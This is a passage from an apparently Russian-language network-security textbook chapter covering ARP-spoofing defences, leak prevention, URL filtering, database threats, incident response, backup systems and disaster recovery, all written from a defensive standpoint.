Другие виды защиты от ARP spoofing базируются на некоторых видах сертификации или перекрестной проверке ARP-откликов. Несертифицированные ARP-отклики блокируются. Эта технология может быть интегрирована на DHCP-сервере, так что оказываются сертифицированными как статические, так и динамические IP-адреса. Такая опция может быть реализована и на отдельных компьютерах или встроена, например, в Ethernet-переключатели или другое оборудование.

Простейшим способом сертификации является использование статических объектов, предназначенных только для чтения в ARP-кэше компьютера. Это предотвращает простые атаки но не годится для больших сетей, так как в этом варианте для каждой пары машин должны быть сконфигурированы in (n*n) ARP-кэшей.

Существование нескольких IP-адресов, ассоциированных с одним MAC-адресом, может указывать на атаку типа ARP spoofing, хотя существуют и вполне легальные применения такой конфигурации.

Возможен и пассивный подход, когда некоторое устройство прослушивает ARP-отклики, и посылает уведомления по e-mail при любых выявленных изменениях ARP-конфигурации.

Методы противодействия утечкам информации

Сначала следует обратить внимание на то, что является источниками информационной уязвимости. Такими источниками могут быть: "благонамеренные сотрудники", "злонамеренные сотрудники" и целевые, внешние атаки. В последние годы сформировалась тенденция, когда ущерб от потери данных увеличивается на 30% в год.

  1. Первый вид ("благонамеренные") охватывает следующие процессы:


  2. Целевые атаки


  3. В современном мире с крайне развитыми коммуникациями криминальный мир достаточно интенсивно разрабатывает технологии скрытного проникновения и похищения конфиденциальных данных. За месяц регистрируется более 245 миллионов попыток вторжений (2008 год).

    Наиболее частыми причинами вторжения является использование параметров доступа по-умолчанию или заведомо неприемлемые пароли, а также некорректно сформированные ACL или атаки типа SQL injection. Первая фаза атаки реализуется одним из трех способов:


    Оборона, базирующаяся на репутации, как компонент снижения рисков в Web 2.0

    Учет репутации сетевого узла становится неотъемлемой частью системы защиты Web 2.0. Хакеры часто используют скомпрометированные машины, которые такими стали из-за плохой конфигурации или малого внимания хозяина к проблемам безопасности. Владельцы машин, посещающие сомнительные сайты чаще всего становятся жертвами. Такие машины попадают в списки ASL или перечни узлов с плохой репутацией.

    Перечни сетевых узлов с плохой репутацией широко используются при фильтрации URL. Компания Google, проведя тестирование 4,5 миллионов URL, обнаружила, что 450000 из них (1/10) содержат какую-либо форму malware. 10000 WEB-сайтов идентифицируются, как реализующие вредоносную активность. Многие поисковые системы формируют списки потенциально опасных сайтов. Если ваш сайт однажды оказался зараженным, он может надолго попасть в список потенциально опасных для посещения, что серьезно навредит его репутации.

    Использование репутационных списков существенно повышает эффективность фильтрации SPAM. Эта технология позволяет отфильтровать SPAM на 90%. А именно SPAM часто используется в качестве транспорта для распространения вредоносных кодов. Сейчас Интернет завален поздравительными открытками, содержащими URL переадресующие пользователя на вредоносные сайты. Смотри рис. 8.

    Использование репутации узла позволяет улучшить работу и традиционных Firewall, так как уменьшает риск доступа со стороны потенциально опасных узлов.

    Рис. 8. Репутационные данные указывают на вредоносную активность

    Репутационные списки могут использоваться и в процессе аутентификации, блокируя соединение, если IP-адрес или сеть имеет уровень репутации ниже заданного порога. В перспективе уровень репутации может использоваться даже при выборе маршрута, чтобы исключить атаки типа "человек посередине".

    В США замечена зависимость числа SPAM-сообщений, получаемых человеком, от его годового дохода (чем больше доход, тем больше SPAM'а). Это, пожалуй, говорит об определенной нацеленности этих сообщений.

    Нужно помнить, что одним из средств взлома машины является SPAM. По этой причине antiSPAM не только экономит ваше время, но и защищает вашу машину от вторжений.

    Так как одной из главным мишеней атак являются WEB-серверы, защита этих объектов образует отдельную отрасль (см. WEB-безопасность (32 статьи), а также конкретно Web Attack Survival Guide).

    Фильтрация URL и анонимные прокси

    Можно встретить разные оценки материалов, которые выложены в Интернет. Одни считают Интернет сокровищницей информации, другие информационной свалкой. В каждой из этих оценок содержится доля истины. Все зависит от авторов и владельцев сайтов. Конечно в сети имеется море ценных данных, но найти там иной раз то, что нужно достаточно сложно. Поиску в сети нужно учиться. Беда в том что там находят место призывы к насилию, порнография, пропаганда нацизма, предложения азартных игр и много чего еще дурного. Доля таких негативных материалов ничтожно мала, но они все же имеются. Есть сайты, где предлагаются вредоносные программы malware на продажу. Известно, что сотрудники некоторых фирм и государственных учреждений тратят заметную долю служебного времени на "гуляние" по сети и просмотр сайтов, не имеющих никакого отношения к их служебным обязанностям. Социальные сети способствуют увеличению доли таких потерь. Проблема ограничения посещения сайтов определенного толка становится актуальной и широко обсуждается достаточно давно. Многие компании ставят специальные URL-фильтры, чтобы исключить расход служебного времени сотрудниками на покупки в Интернет или любые виды развлечений, пытаясь таким способом минимизировать потери рабочего времени. Статистика показывает, что 70% порно трафика приходится на время между 9-ю утра и 5-ю часами вечера и 60% покупок через Интернет производится в этот же период времени.

    Некоторые компании создают специальные программы, целью которых является ограничение возможности посещения сайтов определенной категории. Такие программы нуждаются в базах данных, где хранятся URL сайтов, рассортированные по категориям. Определение категорий сайтов само по себе является не простой проблемой. Чтобы пояснить масштаб трудностей, приведу пример такой базы данных, созданной компанией BCWF (Blue Coat WebFilter). В этой базе данных хранится 9 миллионов URL сайтов на 50 языках, рассортированных по 58 категориям (см. URL Filtering Databases Accuracy Test). Эти цифры показывают, что решить проблему категорирования сайтов вручную нельзя. Но и компьютерное деление URL на категории немногим проще. В какой-то мере эта задача похожа на определение релевантности сетевого ресурса поступившему запросу. Разработчики компании BCWF утверждают, что их программы ошибаются в определении категории URL с вероятностью не более 0,005%.

    При создании таких баз данных важно решить ряд проблем: 1. Покрытие множества URL с учетом категорий (чем выше процент покрытия, тем лучше). 2. Корректность определения категории. 3. Актуальность (база данных не должна содержать URL уже ликвидированных сайтов).

    Отдельную трудность составляет использование баз URL, подготовленных разными фирмами. Дело в том, что критерии категорирования трудно формализовать и сделать сопоставимыми.

    Но фильтры URL, например, в шлюзах школьных серверов становятся практически неэффективными из-за массового применения анонимных прокси-серверов, сводящими на нет все усилия. Пользователь, войдя на такой сервер, может запросить там любую страницу из запретного списка URL и ничто не помешает ему получить запрошенный материал. Число таких прокси растет фантастическими темпами. Сейчас имеется более 100000 зарегистрированных прокси и примерно 300000 прокси, базирующихся на домашних компьютерах, каждую неделю создается сотни новых. Программное обеспечение таких прокси общедоступно, процедура установки весьма проста. Следует разделять случаи фильтров URL, препятствующих случайному посещению определенных сайтов, и проблему URL-фильтрации, которую пользователь сам пытается обойти с помощью прокси. Пытаться выявлять URL таких прокси и заносить их в ограничительные списки занятие достаточно бессмысленное. Следует, судя по всему, детектировать ввод запретного URL пользователем, но это достаточно трудоемкая задача, ведь для этого надо будет фильтровать весь исходящий трафик. Хотя URL-фильтры позволяют сократить угрозы заражения вредоносными кодами, переоценивать их эффективность не следует.

    Фильтровать запросы по URL все чаще пытаются правительственные структуры. Мотивы такой активности могут быть разными, но чаще всего они оказываются политическими. Активно фильтрация по URL осуществляется в Китае, Северной Корее, Иране и др. (см. материалы статьи 2012 год.). Но уже созданы и средства противодействия такой фильтрации, в частности система TOR (The Onion Router) и I2P. Это специальное программное обеспечение, использующее широкую сеть прокси. Данные передаются в зашифрованном виде, что препятствует распознаванию URL. Система TOR может использоваться и для передаче конфиденциальных бизнес-данных.

    Многие эксперты сходятся во мнении, что наибольшую опасность представляют "свои" сотрудники (insiders). Они имеют легальный доступ ко многим ресурсам сети, могут прослушивать свой сегмент, при желании и некотором везении они могут получить доступ и к ресурсам, куда доступ для них запрещен. Причины, по которым они поступают во вред своей фирме или организации, рано или поздно могут возникнуть. Среди таких людей может оказаться даже администратор сети. По этой причине нужно всегда быть готовым к наихудшему. Аналогичные проблемы могут возникнуть после внешнего взлома одной из машин локальной сети. Хакер может воспользоваться фальсификацией ARP и перехватывать внутренние обмены, включая ввод паролей. Ниже перечислены меры, которые не гарантируют полной безопасности, но минимизируют такого рода угрозы (http://viewer.bitpipe.com).

    При выезде за границу рекомендуется не брать с собой свой рабочий laptop, а если для работы за рубежом нужен компьютер, арендовать его по прибытии на место. Это исключит потерю данных и заражение вашей личной машины вирусами или spyware.

    Если же обстоятельства вынуждают вас взять ваш компьютер в поездку, всегда держите его при себе. Аналогичные предосторожности не лишни и в отношении spartphone'ов. В таких условиях настоятельно рекомендуется применение криптографической защиты всей существенной информации, хранимой в компьютере. Избегайте подключения внешних носителей или работы через беспроводные каналы. Ваша антивирусная система должна быть актуализирована. Нужно постоянно помнить, что за рубежом ваш компьютер может стать объектом атаки (впрочем, и дома тоже).

    Что следует делать, чтобы минимизировать угрозы?

    • Проводить регулярно оценку рисков в масштабах всего предприятия
    • Проводить периодические трейнинги по проблемам безопасности для всего персонала
    • Усилить разделение обязанностей и минимизировать привилегии
    • Реализовать жесткую политику и практику в отношении паролей и работы с аккаунтами
    • Действия сотрудников в сети должна мониторироваться, контролироваться и заноситься в журнальные файлы
    • Уделять повышенное внимание действиям администраторов и привилигированных пользователей
    • Выполнять все возможные меры по выявлению и удалению вредоносных кодов в масштабах сети и на каждой рабочей станции или сервере
    • Использовать многоуровневую защиту против удаленных атак (Firewall, IDS/IPS, а также DPI (Deap Packet Inspection))
    • Мониторировать и немедленно реагировать на любые подозрительные действия (активность во внеурочное время, изменение IP или MAC-адреса и т.д.).
    • Деактивировать доступ к машинам после завершения на них работы допущенных сотрудников. Это же касается неиспользуемых портов хабов, переключателей и маршрутизаторов.
    • Собирать и сохранять данные результатов расследований
    • Использовать безопасные процедуры восстановления конфигураций и работы с резервными копиями. Не допускать несанкционированного доступа к резервным копиям.
    • Минимизировать период резервного копирования критически важных данных. Этот период должен зависеть от частоты обновления программ и информации.
    • Четко документировать все операции по контролю активности сотрудников

    Существует и нехитрое правило - думай о последствиях, прежде чем кликать мышью. Не следует забывать и о резервном копировании, тем более, что это имеет универсальную полезность, - позволяет не только восстановить систему в случае разрушительной атаки, но и при тривиальном выходе из строя жесткого диска.

    Важным аспектом безопасности является обучения персонала безопасным методам работы в сети.

    Здесь уместно отметить, что чрезмерное ужесточение требованиям по паролям может иметь обратный эффект - пользователи будут их записывать и оставлять на рабочем месте. Это же касается журнальных файлов. Если все события в сети заносятся в журнальные файлы, кто их будет читать? Поэтому нужны программы, автоматически анализирующие содержимое журнальных файлов, и выдающие сжатое резюме сетевому администратору.

    Современные переключатели позволяют сконфигурировать систему так, что только для определенных МАС-адресов разрешается доступ к определенным номерам портов.

    Одним из простых способов защиты информации является ее маскирование, когда критические данные подменяются видоизмененными данными (на вид вполне правдоподобными), при сохранении форматов. Такая схема может быть применена для внешних клиентов, не обладающих требуемым уровнем доступа. Это может быть и шифрация/дешифрация, но могут быть использованы и более примитивные методы, например, все фамилии заменяются на Иванов. Подобную подмену полезно делать при отладке программ обработки корпоративных данных, чтобы избежать утечки информации. Такая задача может быть легко решена во многих организациях своими силами.

    Проблема доступа людей и программ к ресурсам сети и серверов сформалирована в качестве задачи AAA (Authentification, Authorization and Accounting). В рамках этого процесса выполняется распознавание клиента или процесса, проверка его идентичности, уровень доступа к ресурсам, услугам и данным (см. Authentication and Authorization Deep Dive. From basic access control to federated identity (digitalPersona). Задача усложняется множественностью объектов, которые нужно идентифицировать (сюда входят в том числе мобильные объекты). На рис. 9 показана общая схема аутентификации, авторизации и сертификации. В круг решаемых проблем входит выявление факта враждебного вторжения и меры по ликвидации последствий такого вторжения.

    Рис. 9. AAA в современных доменах безопасности

    Из рисунка видно, что система обороны имеет несколько уровней. В сферу ААА входит и контроль правильного выбора паролей, и криптографическая защита и корректное распределение обязанностей и ответственности. Смотри также статьи данного раздела ./6/authent.htm (Аутентификация в Интернет) и ./6/n_s_p_k.htm (Протокол аутентификации Нидхэма-Шредера)

    Системы выявления уязвимостей

    Мы чаще всего реагируем на ситуации, когда сеть, сервер или рабочая станция уже скомпрометированы. Более правильной стратегией обороны является профилактика. К числу таких профилактических мер можно отнести как разнообразные средства проверки прочности паролей, так и автоматические системы обновления ОС и приложений. Но более эффективным средством можно считать программу сканирования уязвимостей машины, например, , сервера или даже сети в целом, например, Nessus. Смотри также Analyzing the Accuracy and Time Costs of Web Application Security Scanners. Сканнер уязвимостей NESSUS может размещаться в облаке.

    При выборе компании для размещения своего сайта (хостинга) полезно пользоваться результатами исследований, выполняемых компаниями, специализирующимися в сфере безопасности, например, Netcraft Services. Most Reliable Hosting Company Sites in July 2010.

    Для сканирования уязвимостей можно использовать специализированные отечественные программы, например, лаборатории Касперского, которые выявляют некорректности конфигурации ОС и приложений.

    Удаление фальшивых программ безопасности

    В последнее время получили большое распространение фальшивые программы безопасности (антивирусные программы см. раздел 6.3.1, rogueware). Если ваша машина оказалась заражена такой программой или вы лишь подозреваете это, следует выполнить следующие действия:

    1. Загрузить машину в safe mode.
    2. Проверьте в панели управления Internet Options установки для прокси. Запретите использование прокси или ограничьтесь использованием прокси вашей собственной организации. Фальшивые программы безопасности используют установки прокси, чтобы блокировать обновления настоящей программы безопасности и ввести платную рекламу в ваш браузер.
    3. Загрузите с помощью USB-драйва программу сканирования (Malwarebytes disinfection utility - http://www.malwarebytes.org/), которая может удалить rogue security software.
    4. После завершения процедуры выполните перезагрузку машины и осуществляете тщательный мониторинг системы.

    Смотри Social engineering attack: How to remove rogue security software, а также Successful rogue antivirus hinges on social engineering.

    Так как относительные издержки протокола HTTPS благодаря прогрессу вычислительной техники падали, использование этого протокола настоятельно рекомендуется. Так Google еще в 2008 на своем сервисе Gmail ввело опцию "always use HTTPS". В начале 2010 этот сервис стал использоваться по умолчанию.

    Одной из мер повышения безопасности может быть запрет использования WEB-mail или даже вообще любых внекорпоративных почтовых серверов, так как такие серверы не могут гарантировать безопасности и могут стать причиной утечки информации.

    Нежелательно использование бесплатных программ из неизвестных источников в Интернет, так как они часто содержат spyware и другие вредоносные программы. Особые предосторожности следует предпринимать, если вам предлагается бесплатно антивирусная или anti-spyware программа.

    Угрозы социальных сетей

    Заметную угрозу безопасности составляют социальные сети (Facebook, Twitter) и блоги, так как они предоставляют возможность клиенту из Интернет вносить свой контент, который может содержать вредоносные коды. Одним из средств противодействия могут стать специализированные прокси (модификации Firewall), способные отфильтровывать такой контент (см. Threat Containment for Facebook (Blue Coat)). См. рис. 9 и 9а ниже.

    Рис. 9. Схема безопасной работы с Facebook

    Рис. 9а.

    Будущее за распределенными полностью автоматизированными системами сбора, накопления и обработки данных об уязвимостях и атаках. Такие системы должны иметь встроенный интеллект и минимальное время отклика (< 5 мин). Желательно, чтобы эти системы стали международными. Требуется международное законодательство, предоставляющее защиту от атак, а также определяющее ответственность за нанесенный ущерб частных лиц, организаций и государств.

    Так как составной частью многих атак является социальная инженерия, полезно знать, как уменьшить вероятность стать жертвой таких ловушек (Смотри Security threat report 2011).


    Распознавание авторов злонамеренных почтовых сообщений

    Электронная почта является одним из самых широко используемых средств злоумышленников (от рассылки SPAM до заражения машин вредоносными кодами). Понятно, что злоумышленники предпринимают различные меры, чтобы скрыть свой истинный адрес. Сообщение может быть послано через прокси-сервер, из кафе или из взломанной чужой машины.

    В США разрабатываются средства распознавания авторства таких анонимных сообщений. Эти средства базируются на анализе словарного запаса, характерных ошибках, стиля написания сообщений, длинах предложений и т.д.

    Испытание метода было проведено для базы данных, содержащей 200000 образцов писем от 158 отправителей и для 10 разных предметов (тем). Испытание показало, что вероятность распознавания составляет 80-90%. Разработчики считают, что эта методика будет использована в судах США при установлении авторства сообщений.

    От себя замечу, что обмануть эту систему будет не трудно. Рассылщики SPAM это уже делают. Что хуже, без труда можно будет подставить нужного человека, разослав письма в его стиле и с характерными его ошибками.

    "Отпечатки пальцев" для оборудования

    Для выявления источника атаки крайне актуально установить и доказать, что атака предпринята именно с этой машины. В США предпринята попытка (Raheem Beyah) разработки методики выявления индивидуальных особенностей сетевого оборудования и машин (индивидуальные "отпечатки пальцев" оборудования). Сначала производится выявление характерных особенностей оборудования. Это может быть сделано с привлечением активных и пассивных методов. В первом варианте устройству посылаются различные пакеты, в то числе некорректно сформированные, и наблюдается реакция оборудования. Во втором, просто регистрируются особенности передаваемых данных, в частности IAT (Inter-Arrival Time - время между последовательно посылаемыми пакетами). Идея любопытная, но мне представляется сомнительная с точки зрения эффективности. Ведь нужно быть уверенным, какое устройство посылает пакеты (а, например, IP-адрес может быть фальсифицирован). Да и характеристики оборудования могут меняться со временем. Но с другой стороны, такая техника может характеризовать не только оборудование, но и программы на нем установленные. Я не говорю о том, что нужно хранить где-то эти "отпечатки пальцев", а в Интернет около 1,5 млрд. машин. Понятно, что не все машины должны быть охарактеризованы, а только те которые попали под подозрение (как и в обычной полиции). Но все же мне представляется много более простым ввести индивидуальные коды для всех сетевых устройств, которые оно посылает время от времени вместе с обычными данными и которое зашивается туда при изготовлении. Возможен вариант с выявлением индивидуального кода по запросу. Модификацию такого кода пользователем надо сделать невозможным.

    "CD спасения"

    CD-спасения (Rescue CD) представляют собой загрузочный диск, который можно использовать, когда основная ОС не загружена и malware не смогла загрузить свои защитные средства, препятствующие детектированию вредоносных кодов. В качестве CD-спасения может использоваться и USB-устройство. Данное устройство загружает свою ОС и нужные программы, после чего производит сканирование дисков и поиск вредоносных кодов.

    Угрозы со стороны мобильного оборудования

    Использование мобильных устройств связи ставит под удар информационные ресурсы предприятия. Потеря или кража смартфонов или таблеток, которые лишены защиты с помощью паролей, а также передача почты или других данных по беспроводным каналам без криптозащиты с неизбежностью приводит к потере конфиденциальных данных. Если служебные мобильные средства могут хотя бы теоретически быть под контролем, персональные мобильные устройства выпадают из поля служб безопасности. Персональные мобильные средства обычно лишены антивирусных и других средств защиты. Массовое использование таких устройств стимулирует хакеров к разработке новых средств вторжения (прогнозируется, что в США будет продано 66 млн. мобильных устройств против 55 млн. персональных компьютеров). Пользователи подключают свои мобильные средства к служебной сети, вне зависимости от того, разрешено ли это, и готова ли сеть к безопасной работе с таким оборудованием. 30% пользователей мобильных средств убеждены, что вероятность вредоносного вторжения в них много меньше, чем для компьютеров.

    Вы можете иметь эшелонированную систему сетевой безопасности, но обычный смартфон может свести все усилия на нет. См. рис. 10.

    Рис. 10. Смартфон, как потенциальная угроза

    Заражение мобильных устройств может произойти через MMS или SMS, а также через bluetooth или Wi-Fi. Мобильные средства вскоре станут также платежным средством, что сделает их еще более привлекательной мишенью для атак. Рост числа уязвимостей в мобильных ОС (2006-11) показан на рис. 86 раздела 2011. Число выявленных вторжений в мобильные системы (2006-2011 гг) показано там же на рис. 87. Появились сообщения о создании botnet из смартфонов. Для обеспечения безопасности таких устройств наиважнейшим является выработка адекватной политики управления мобильными средствами с учетом многообразия и различных особенностей этих приборов. Политика оформляется в виде документа, с которым нужно ознакомить всех пользователей. Одним из основных компонентов такой политики служит система обучения пользователей тому, как себя вести в той или иной ситуации. Пользователи должны быть поделены на группы, в зависимости от их функций и доступа к критической информации. Требования к использованию мобильных средств такими группами будут различными. В рамках такой программы могут быть выработаны унифицированные конфигурационные профайлы для различных мобильных устройств, а также MDM (Mobile Device Management).

    Политика безопасности для мобильных устройств может включать в себя требования к паролям, типам и версиям установленных приложений, а также уровни криптозащиты для различных видов данных. Политика определяет распределение обязанностей и ответственности сотрудников, включая распределение функций (установка программ, обслуживание различных устройств и сервисов). Политика может ограничить перечень допустимых приложений.

    Существуют атаки, которые после осуществления вторжения не оставляют на компьютере-жертве никаких новых файлов. Вредоносные коды этого типа встраиваются в системные или прикладные процессы, размещаясь в оперативной памяти. Их загрузка может выполняться специальным кодом через сеть. Для выявления таких кодов можно использовать программу Volatility. Смотри "How to detect malware that leaves no file on disk", Nick Lewis, TechTarget 2015.

    Безопасность баз данных

    Базы данных остаются одной из ниболее привлекательных мишеней для атак ("Top Ten Database Security Threats". The Most Significant Risks of 2015 and How to Mitigate Them, Imperva). Согласно IDC менее 5% из 27 миллиардов долларов было потрачено непосредственно на безопасность информационных центров. По данным OTA (Online Trust Alliance) до 97% атак могут быть предотвращены. Ниже в таблице представлены 10 наиболее важных угроз в 2015 году по сравнению с 2013 годом. Изменения за истекшие годы незначительны.

    УровеньУгрозы в 2015гУгрозы в 2013г
    1Избыточные и неиспользуемые привилегииИзбыточные и неиспользуемые привилегии
    2Злоупотребление привилегиямиЗлоупотребление привилегиями
    3Вредоносный вводSQL-injection
    4Вредоносный кодВредоносный код
    5Слабый аудитСлабый аудит
    6Доступ к системе памятиДоступ к системе памяти
    7Использование уязвимостей и некорректной конфигурацииИспользование уязвимостей и некорректной конфигурации
    8Отсутствие управления критическими даннымиОтсутствие управления критическими данными
    9Отказ обслуживания (DoS)Отказ обслуживания (DoS)
    10Ограниченная компетенция в сфере безопасностиОграниченная компетенция в сфере безопасности

    Первые 9 угроз могут быть парированы с использованием автоматизированной системы DAP (Database Auditing and Protection).

    a. Избыточные и неиспользуемые привилегии

    Например, банковский служащий, чья функция сопряжена с обновлением контактных данных, при избыточных правах может получить возможность модифицировать денежный баланс клиента. Часто при переходе из одного подразделения служащего в другое или даже при увольнении ему сохраняют аккоунт с прежними правами. Такое происходит, когда механизм управления правами доступа не отрегулирован должным образом.

    б. Злоупотребление привилегиями

    Пользователи могут использовать имеющиеся права доступа не по назначению, например, копироать истории болезни пациентов.

    в. SQL-injection (вредоносный ввод)

    Этот вид атак несколько различается для SQL и NoSQL-баз данных. Но в обоих вариантах в поле формы вводятся данные, которые могут нанести вред системе.

    г. Слабый аудит

    Любая информационная система должна содержать автоматизированную функцию записи всех транзакций. Но пользователи иногда отклчают такие подситемы, подвергая хранящуюся информацию риску неконтролируемой утечки. Кроме того, хакеры или инсайдеры могут сознательно отключить любые функции автоматического аудита, чтобы скрыть свою активность.

    д. Доступ к системе памяти

    Здесь речь идет прежде всего о системе резервного копирования и резервных копиях. Эта система должна прикрываться системой безопасности особенно тщательно.

    е. Использование уязвимостей и некорректной конфигурации

    К этому разделу относится сохранение аккоунта по-умолчанию или невнесение обновлений для известных уязвимостей самой базы данных, приложений или ОС.

    ж. Отсутствие управления критическими данными

    Временами администраторы забывают о каких-то "старых" базах данных или базах данных, созданных для целей отладки или испытания программ, а там могут содержаться критические данные для данного предприятия.

    Анализ инцидентов показывает, что примерно в 30% случаев виноват "человеческий фактор" - некомпетентность или небрежность персонала.

    Уголовные статьи о правонарушениях в Интернет

    В настоящее время наблюдается заметный рост числа детектируемых организациями инцидентов с информационной безопасностью. При этом случаются внутренние и внешние инциденты. (см."Инциденты информационной безопасности. Рекомендации по реагированию. Межрегиональная общественная организация "Союз ИТ-директоров"; Межрегиональная организация "Ассоциация руководителей служб информационной безопасности (АРСИБ)". Разработано при участии Group-IB и LETA). Материалы, представленные ниже, в основном взяты из этого документа.

    Внутренним инцидентом считается случай, когда нарушителем является человек, связанный с пострадавшей стороной непосредственным образом (например, трудовым договором - insider). К числу внутренних инцидентов можно отнести:


    Внешним инцидентом считается такой, когда нарушитель не связан официально с пострадавшей стороной. Среди системных событий такого типа можно выделить следующие:


    В российском законодательстве имеется 3 статьи о компьютерных преступлениях:


    Уголовные преступления, сопряженные с банковскими операциями в Интернет, квалифицируются по статье 159 УК РФ (Мошенничество).

    В данных законах нет запретов на продажу программ взлома и на торговлю сетями botnet, неясно также, по какой статье в РФ проходит SPAM.

    Реагирование на инцидент, сопряженный с информационной безопаcностью (ИБ)

    Реагирование на инцидент ИБ включает в себя технические мероприятия, обеспечивающие целостность криминалистически значимых данных и возможность судебного исследования этих данных в будущем, а также организационные мероприятия, которые позволяют снизить ущерб от инцидента и составить необходимые для правоохранительных органов документы.

    Сущностью технических мероприятий является немедленное обеспечение целостности данных, потенциально имеющих отношение к инциденту, путем отключения, упаковки и опечатывания, а затем и должного хранения соответствующих носителей информации.

    Организационные мероприятия заключаются в уведомлении руководства организации, подразделений (служб) информационной безопасности организации и иных заинтересованных структур о факте инцидента. Документы, составленные при проведении организационных мероприятий, могут использоваться как основания для рассмотрения вопросов о возбуждении уголовных дел или для уточнения вопросов, выносимых на решение при назначении судебных экспертиз носителей информации организации.

    После реагирования на инцидент ИБ начинается расследование инцидента и восстановление информационной системы организации. Восстановление информационной системы заключается в замене изъятых носителей информации на новые, установке требуемого ПО и конфигурации информационной системы с учетом повышенных требований ИБ.

    Общий алгоритм действий при наступлении инцидента

    Основная задача службы ИБ - это предотвращение возможных рисков, связанных с утечкой или потерей информации для компании, которая основана на понимании и удовлетворении осознанных пожеланий бизнеса.

    Типовой сценарий при нарушениях ИБ может быть основан на приведенных ниже действиях. В случае возникновения инцидента ИБ необходимо:

    1. Идентифицировать инцидент и убедиться, что он действительно имел место.
    2. Локализовать область ИТ-инфраструктуры, задействованной в инциденте
    3. Ограничить доступ к объектам, вовлеченным в инцидент
    4. Оформить служебную записку на имя Директора организации о факте инцидента.
    5. Привлечь компетентных специалистов для консультации.
    6. Создать группу по расследованию инцидента и составить план работ по сбору доказательств и восстановления системы. Протоколировать все действия, которые осуществляются при реагировании на инцидент.
    7. Обеспечить сохранность и должное оформление доказательств
      • Снять энергозависимую информацию с работающей системой
      • Собрать информацию о протекающем в реальном времени инциденте
      • Отключить от сети питания
    8. В присутствии третей независимой стороны произвести вскрытие и опечатывание носителей информации с доказательной базой, а также снятие образцов и другой информации для последующего анализа и сохранения.
      • Оформить протоколом все операции с носителями информации
      • Провести детальную опись объектов с информацией, извлекаемых данных, а также мест их сохранения
      • Задокументировать процесс на фотовидеокамеру.
      • Сохранить опечатанные объекты вместе с протоколом в надежном месте до передачи носителей на исследование или в правоохранительные органы
    9. После сохранения и оформления вещественных доказательств восстановить работоспособность информационной системы.
    10. При проведении исследования источников информации обеспечить неизменность доказательств. Работать только с копиями.
    11. При проведении расследования обеспечить корректное взаимодействие с заинтересованными подразделениями (Управление "К", Центр информационной безопасности ФСБ РФ) и внешними организациями (компании, предоставляющие услуги при расследовании инцидентов ИБ)
    12. По завершении расследования оформить соответствующий отчет и составить рекомендации по снижению рисков возникновения подобных инцидентов в будущем.
    13. При обращении в правоохранительные органы представить им подробное описание инцидента, описание собранных доказательств и результаты их анализа.

    В случае атак против дистанционных банковских операций процедура имеет более сложный характер.

    Современные системы резервного копирования

    В последнее время для целей резервного копирования все шире используется схема D2D2T (диск-диск-лента). 16 лет назад пропускная способность дисков составляла 4-5Мбит/c, для ленточных устройств она равнялась 256 кбит/c. Сегодня диски обеспечивают скорость записи-чтения на уровне 70 Мбит/c, а ленты только 160-480 Мбит/c. Т.о. быстродействие дисков выросло в 15-20 раз, а лент в 2000 раз (см. How to modernize your backup infrastructure).

    Технология D2D2T позволяет улучшить рабочие параметры системы резервного копирования, поместив буфер между файловой системой на диске и ленточным устройством записи. Такой буфер создается на основе дискового ЗУ. Проблема может возникнуть, когда формируется несколько систем резервного копирования, использующих общий буфер (например, в случае работы через высокоскоростную сеть). В этом случае можно воспользоваться VTL (Virtual Tape Library), где диски представляется в виде ленточных библиотек. Еще одним решением проблемы буферизации является техника ITD (Intelligent Disk Target). В этом случае для представления диска в системе резервного копирования используются протоколы NFS или CIFS. Эти протоколы решают и проблему многоканальности резервного копирования. Системы резервного копирования включают в себя сервис дедупликации. Предусматривается два режима: полное резервное копирование; инкрементное дублирование, когда файл видоизменяется много раз. При этом предусматривается возможность дублирования данных, записанных за последние сутки или всех данных на диске.

    Получила развитие и технология CDP (Continuous Data Protection). Каждый раз, когда измененные данные копируются, они передаются в CDP-систему. В CDP имеется журнальный файл изменений и предусматривается возможность возврата к предыдущей (или какой-либо более ранней) версии. Подобные операции можно выполнить для баз данных и почтовых архивов. Система резервного копирования может размещаться удаленно. Но в этом случае данные по сети должны передаваться в криптозащищенном виде. Желательно иметь две копии наиболее важных данных, хранящихся в разных местах. Тогда даже в случае гибели одной из копий, данные могут быть восстановлены.

    Исследование в университете Огайо 15 SSD пяти разных производителей на устойчивость при отключении питания, показало, что в 13 из них данные были повреждены.

    Написание программ, минимизирующих угрозы

    Наиболее частой мишенью атак являются WEB-серверы. По этой причине особое внимание нужно обращать на написание программ для таких серверов, которые минимизируют угрозы.

    Анализ выявленных атак показывает, что основную долю составляют попытки использовать уязвимости различных скриптов, обслуживающих сервер. Это может быть попытки обнаружения широко используемых скриптов с известными уязвимостями, по этой причине не следует использовать скрипты из Интернет без предварительного тщательного их исследования. Следует также иметь в виду, что скрипты, размещенные в каталоге /cgi-bin/, могут запускаться удаленно. И, если они требуют заметного времени для исполнения, они могут быть использованы для атак типа DoS. Если у вас некоторые скрипты запускаются посредством crontab, как это бывает при автоматической обработке журнальных файлов (access_log, error_log или secure), их следует располагать вне каталога /cgi-bin/.

    Так как получил распространение перехват субдоменных имен (DNS subdomain hijacking) полезно время от времени использовать утилиту dig, чтобы просмотреть перечень субдоменных объектов:

    dig @a.iana-servers.net example.com axfr

    Информационная зависимость людей в последнее время становится все более значительной. Особую категорию составляют данные о состоянии здоровья или генетическом наборе человека (будут разрабатываться лекарства адаптированные к конкретному генетическому набору). По этой причине следует создавать специальные меры для сохранения таких данных. Такая сеть должна обеспечивать гарантию безопасности как на локальном, так и региональном уровне. Пример сети для хранения жизненно важных данных приведен на рис. 11 (Life-critical Networks for 21st Century Health Care, by Al Gallant))

    Рис. 11. Схема сети для сохранения критических для жизни данных

    ISP - Internet Service Provider. Современные технологии предполагают обмен данными между разными клиниками.

    Восстановление системы после аварии или сетевого вторжения

    В условиях, когда каждая десятая машина оказывается взломанной, необходимо думать о том, что делать, если взлом случился.

    Мало-помалу формируется стандартизация восстановления систем после аварии, вне зависимости от того, что явилось ее причиной. Среди облачных услуг формируется отдельный сервис DRaaS (Disaster Recovery-as-a-Service). Такие системы способны восстанавливать конфигурацию сервера или машины, а также утраченные или поврежденные данные.

    Пишутся программы, которые автоматизируют процесс восстановления системы. Компания Microsoft разработала свою систему управления кластерами машин MSCS (Microsoft Cluster Service), в которую входит подсистема восстановления кластера при аварии. Члены кластера могут входить в разные локальные сети, что удобно для VM-кластеров.

    В реальной жизни мы чаще сталкиваемся с сетями, где перемешаны физические и виртуальные машины.

    При постановке задачи восстановления после аварии или атаки возникает много проблем:

    Одна из возможных схем построения системы восстановления показана ниже на рисунке 12.

